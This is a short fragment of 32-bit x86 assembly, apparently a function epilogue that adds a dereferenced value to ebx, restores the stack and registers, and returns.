add ebx, dword [eax]
add esp, 0x14
mov eax, ebx
pop ebx
pop esi
ret